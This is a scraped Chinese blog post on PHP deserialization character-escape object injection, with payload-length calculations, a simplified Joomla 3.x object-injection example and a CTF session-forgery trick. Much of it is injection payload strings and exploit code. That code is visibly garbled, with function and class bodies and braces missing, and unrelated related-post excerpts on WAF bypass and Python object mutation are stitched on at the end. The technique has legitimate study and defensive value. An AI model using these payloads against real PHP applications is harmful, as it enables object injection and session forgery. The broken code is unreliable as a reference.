PHP字元逃逸導致的物件注入

2021-09-29 21:21:33 字數 3778 閱讀 1324

序列化的字串在經過過濾函式不正確的處理而導致物件注入,目前看到都是因為過濾函式放在了serialize函式之後,要是放在序列化之前應該就不會產生這個問題

?php

function filter($string

)$username = "tr1ple";

$password = "aaaaax";

$user = array($username, $password

);echo(serialize($user

));echo "\n";

$r = filter(serialize($user

));echo($r

);echo "\n";

var_dump(unserialize($r

));$a='a:2:i:1;s:5:"aaaaa";';

var_dump(unserialize($a));

php特性:

1.php 在反序列化時,底層**是以 ; 作為欄位的分隔,以 } 作為結尾(字串除外),並且是根據長度判斷內容的

2.對類中不存在的屬性也會進行反序列化

以上**就明顯存在乙個問題,即從序列化後的字串中明顯可以看到經過filter函式以後s:6對應的字串明顯變長了

並且如果對於a:2:i:1;s:5:"aaaaa"; 這種字串而言,也能夠正常反序列化,說明php在反序列化的時候只要求乙個反序列化字串塊合法即可,當然得是第乙個字串塊

以以上**為例,如果能夠利用filter函式這種由乙個字元變為兩個字元的特性來注入想要反序列化後得到的屬性,使其可以逃逸出更多可用的字串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化後第二個字串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化後就會得到我們想要的結果,比如a:2:是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入乙個x可以逃逸出乙個字元的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化後得到的屬性值

$username = 'tr1ple******************xx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 

$password="aaaaa";

$user = array($username, $password

);echo(serialize($user

));echo "\n";

$r = filter(serialize($user

));echo($r

);echo "\n";

var_dump(unserialize($r));

可以看到此時注入屬性成功,反序列化後得到的屬性即為123456

joomla3.0.0-3.4.6 物件注入導致的反序列化,以下為參考別人的簡易化核心漏洞**

<?php

class

evil

public

function

__destruct()

}class

user

}function write($data

)function

read()

if(file_exists("dbs.txt"))

$username = "tr1ple";

$password = "a";

$payload = '";s:8:"password";o:4:"evil":1:'; write(serialize(new user($username, $password))); var_dump(unserialize(read()));

在這裡如果想要通過注入物件來實現反序列化則必須在外部物件內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意物件的反序列化

例如此時因為反序列化讀取的時候將會將六位字元\0\0\0替換成三位字元chr(0)*chr(0),因此字串前面的s肯定是固定的,那麼s對應的字串變少以後將會吞掉其他屬性的字元,那麼如果我們精心算好吞掉的字元長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入物件,從而反序列化其他類

比如如上所示,此時我們要注入的物件為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php

$a='\0\0\0';

echo

strlen($a

);$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a

);echo

strlen($b);

所以此時首先確定我們要吞掉的字元的長度

o:4:"user":2:

正常情況下我們要吞掉 ";s:8:"password";s:4:" 為22位

但是因為注入的物件payload也在password欄位,並且長度肯定是》=10的,因此s肯定是兩位數,因此這裡為22+1=23位字元

因為是6->3,因此每次新增一組\0\0\0能多吞掉3個字元,因此需要肯定都是3的倍數

因此我們假如這裡構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

則經過read函式處理後長度將變為24

即此時能夠多吞掉24個字元,為了不讓其吞掉payload,我們可以填充1位字元a,即令password的值為a+payload即可

<?php

class

evil

public

function

__destruct()

}class

user

}function write($data

)function

read()

if(file_exists("dbs.txt"))

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";

$password = "a";

$payload = '";s:8:"password";o:4:"evil":1:'; $shellcode=$password.$payload; write(serialize(new user($username, $password))); var_dump(unserialize(read()));

執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的物件,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前乙個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的物件,如果邊長則可以直接在該屬性中注入物件來達到反序列化

比如xnuca2018 hardphp就考察了乙個這個相關的trick

這裡就出現了用前面的data在反序列化時向後吞一位字元,從而可以導致吞掉後面的普通使用者的username欄位,而在username欄位可以放上我們想要偽造的username,從而達到偽造session的目的

參考:

PHP的兩個特性導致waf繞過注入

1 hpp http引數汙染 http引數汙染指的是,在url中提交相同鍵值的兩個引數時,伺服器端一般會進行一些處理。比如apache就要以最後乙個引數為準,比如 user.php?id 111 id 222 如果輸出 get陣列,則id的值只會取222,即url上提交的多餘值覆蓋了前乙個值。2 乙...

PHP的兩個特性導致waf繞過注入(有趣的知識點)

1 hpp http引數汙染 http引數汙染指的是,在url中提交相同鍵值的兩個引數時,伺服器端一般會進行一些處理。比如apache就要以最後乙個引數為準,比如 user.php?id 111 id 222 如果輸出 get陣列,則id的值只會取222,即url上提交的多餘值覆蓋了前乙個值。2 乙...

python返回物件導致的物件修改問題

注意不要忽略python函式返回物件帶來的 不容易發現的 變數修改問題!具體問題看下面 classa object def init self self.buffer 1,2,3 defget buffer self return self.buffer defdebug self print se...